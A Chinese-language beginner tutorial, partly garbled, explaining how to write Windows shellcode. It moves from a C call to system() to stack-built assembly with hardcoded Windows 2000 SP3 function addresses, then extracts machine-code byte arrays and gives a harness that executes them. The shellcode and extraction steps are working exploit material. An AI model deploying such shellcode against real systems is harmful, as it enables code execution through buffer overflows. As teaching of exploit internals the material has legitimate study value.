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文檔簡介
1、編寫ShellCode前置知識:匯編閱讀能力,漏洞調試基本步驟,VC使用方法WTF:這幾次的菜鳥版EXP系列文章都是重點講解溢出編程的原理和思路,包括漏洞的定位,利用構造以及遇到限制時ShellCode的編碼技巧等,但對ShellCode本身的編寫,特別是Windows環(huán)境下ShellCode的初步編寫,卻很少提及。在文章中都是說發(fā)揚“拿來主義”,看準外面現成的ShellCode,直接拿來用,對不合規(guī)范的地方稍微改改就成其實我們是有策略的,試想一來就一大堆匯編,初學者不暈就懵,不被嚇跑才怪,所以前期重點放在激發(fā)大家的興趣上。但作為一個菜鳥,在興趣激起來后,畢竟要進入到ShellCode的編寫中
2、。一是因為Exploit很大的樂趣就在于ShellCode的編寫,二是明白了ShellCode的編寫,才能更好的使用和改進外面的代碼。那,我們開始為了幫助初學者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過程作詳細的介紹,以利于像我一樣的菜鳥,最終能夠寫出簡單的但卻是真實的ShellCode;而進一步高級的ShellCode的編寫,也會在系列后面的文章中一步一步的演示的,希望大家會發(fā)現,Exp真好,ShellCode最美妙! ShellCode簡介和編寫步驟從以前的文章和別人的攻擊代碼中可以知道,Shell
3、Code是以“xFFx3Ax45x72”的形式出現在程序中的,而Exploit的構造就是想方設法地使計算機能轉到我們的ShellCode上來,去執(zhí)行“xFFx3Ax45x72”由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨行者是我們文章的主宰一樣)。而ShellCode的“xFFx3Ax45x72”那些值,其實是機器碼的形式,和一般程序在內存里面存的東東是沒什么兩樣的,攻擊程序把內存里面的數據動態(tài)改成ShellCode的值,再跳過去執(zhí)行,就如同執(zhí)行一個在內存中的一般程序一樣,只不過完成的是我們的功能,溢出攻擊就這樣實現了。在此可以下個定義:ShellCode就是一段程序
4、的機器碼形式,而ShellCode的編寫過程,就是得到我們想要程序的機器碼的過程。當然ShellCode的特殊性和Windows下函數調用的特點,決定了和一般的匯編程序有所不同。所以其編寫步驟應該是,1構想ShellCode的功能;2用C語言驗證實現;3根據C語言實現,改成帶有ShellCode特點的匯編;4最后得到機器碼形式的ShellCode。其中最重要的是第三步改成有ShellCode特點的匯編,將在本文的后面講到。首先第一步是構想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時光,發(fā)電磁波找外星人等等(WTF:咳),但最基本的功能,還是希望開一個DOS窗口,那
5、我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。 C語言代碼比如下面這個程序就可以完成開DOS窗口的功能,大家詳細看下注釋:#include <windows.h>#include <winbase.h> typedef void (*MYPROC(LPTSTR; /定義函數指針int main(HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”;ProcAdd =
6、(MYPROC GetProcAddress(LibHandle, "System" /查找System函數地址(ProcAdd ("" /其實就是執(zhí)行System(“”return 0;其實執(zhí)行System(“”也可以完成開DOS窗口的功能,寫成這么復雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC(LPTSTR是定義一個函數指針類型,該類型的函數參數為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數為是字符
7、串,返回值為空的函數指針;使用LoadLibrary(“msvcrt.dll”;裝載動態(tài)鏈接庫msvcrt.dll;再使用ProcAdd = (MYPROC GetProcAddress(LibHandle, System獲得 System的真實地址并賦給ProcAdd,之后ProcAdd里存的就是System函數的地址,以后使用這個地址來調用System函數;最后(ProcAdd (""就是調用System("",可以獲得一個DOS窗口。在窗口中我們可以執(zhí)行Dir,Copy等命令。如下圖1所示。 圖
8、1 獲得函數的地址程序中用GetProcAddress函數獲得System的真實地址,但地址究竟是多少,如何查看呢?在VC中,我們按F10進入調試狀態(tài),然后在Debug工具欄中點最后一個按鈕Disassemble和第四個按鈕Registers,這樣出現了源程序的匯編代碼和寄存器狀態(tài)窗口,如圖2所示 圖2 繼續(xù)按F10執(zhí)行,直到到ProcAdd = (MYPROC GetProcAddress(LibHandle, "System"語句下的Cll dword ptr _imp_GetProcAddress8 (00424194執(zhí)行后,
9、EAX變?yōu)?801AFC3,說明在我的機器上System( 函數的地址是0x7801AFC3。如圖3所示。 圖3WTF:注意本次測試中讀者的機器是Windows 2000 SP3,不同環(huán)境可能地址不同。為什么EAX就是System( 函數的地址呢?那是因為函數執(zhí)行的返回值,在匯編下通常是放在EAX中的,這算是計算機系統(tǒng)的約定吧,所以GetProcAddress(”System”)的返回值(System函數的地址),就在EAX中,為0x7801AFC3。 Windows下函數的調用原理為什么要這么麻煩的得到System函數的地址呢?這是因為在Windows下,函數
10、的調用方法是先將參數從右到左壓入堆棧,然后Call該函數的地址。比如執(zhí)行函數Fun(argv1, argv2),先把參數從右到左壓入堆棧,這里就是依次把argv2,argv1壓入堆棧里,然后Call Fun函數的地址。這里的Call Fun函數地址,其實等于兩步,一是把保存當前EIP,二是跳到Func函數的地址執(zhí)行,即Push EIP Jmp Fun。其過程如下圖4所示。 圖4同理,我們要執(zhí)行System("":首先參數入棧,這里只有一個參數,所以就把C的地址壓入堆棧,注意是C字符串的地址;然后Call System函數
11、的地址,就完成了執(zhí)行。如圖5所示。 圖5 構造有ShellCode特點的匯編明白了Windows函數的執(zhí)行原理,我們要執(zhí)行System(“Command.exe”,就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢?內存中可能沒有,但我們可以自己構造!我們把Command.exe一個字符一個字符的賦給堆棧,這樣Command.exe字符串就有了,而棧頂的指針ESP正好是Command.exe字符串的地址,我們Push esp,就完成了參數Command.exe字符串的地址入棧。如下圖6所示。
12、圖6 參數入棧了,然后該Call System函數的地址。剛才已經看到,在Windows 2000 SP3上,System函數的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。把思路合起來,可以寫出執(zhí)行System(“Command.exe”的帶有ShellCode特點的匯編代碼如下。mov esp,ebp ; push ebp ;
13、0; mov ebp,esp ; 把當前esp賦給ebpxor edi,edi ; push edi ;壓入0,esp4,; 作用是構造字符串的結尾0字
14、符。 sub esp,08h ;加上上面,一共有12個字節(jié),;用來放""。 mov byte ptr ebp-0ch,63h ; c
15、;mov byte ptr ebp-0bh,6fh ; o mov byte ptr ebp-0ah,6dh ; m mov byte ptr ebp-09h,6Dh ; m
16、160; mov byte ptr ebp-08h,61h ; a mov byte ptr ebp-07h,6eh ; n mov byte ptr ebp-06h,64h ; d
17、; mov byte ptr ebp-05h,2Eh ; . mov byte ptr ebp-04h,63h ; c mov byte pt
18、r ebp-03h,6fh ; o mov byte ptr ebp-02h,6dh ; m一個一個生成串"". lea eax,ebp-0ch ;
19、0; push eax ; 串地址作為參數入棧 mov eax, 0x7801AFC3 ;
20、 call eax ; call System函數的地址 明白了原理再看實現,是不是清楚了很多呢? 提取ShellCode首先來驗證一下,在VC中可以用_asm關鍵字插入匯編,我們把System(“Command.exe”用我們寫的匯編替換,LoadLibrary先不動,然后執(zhí)行,成功!彈出了我
21、們想要的DOS窗口。如下圖7所示。 圖7同樣的道理,LoadLibrary(“msvcrt.dll”也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來,將其編譯、鏈接、執(zhí)行,也成功了!如下圖8所示。 圖8有了上面的工作,提取ShellCode就只剩下體力活了。我們對剛才的全匯編的程序,按F10進入調試,接著按下Debug工具欄的Disassembly按鈕,點右鍵,在彈出菜單中選中Code Bytes,就出現匯編對應的機器碼。因為匯編可以完
22、全完成我們的功能,所以我們把匯編對應的機器碼原封不動抄下來,就得到我們想要的ShellCode了。提取出來的ShellCode如下。unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x64x9fxE6x77"
23、160; /sp3 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50" "xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xc3xafx01x78"
24、0; /sp3 System地址0x7801afc3"xFFxD0" 驗證ShellCode最后要驗證提取出來的ShellCode能否完成我們的功能。在以前的文章中已經說過方法,只需要新建一個工程和c源文件,然后把ShellCode部分拷下來,存為一個數組,最后在main中添上( (void(*(void &shellcode (,如下:unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x5
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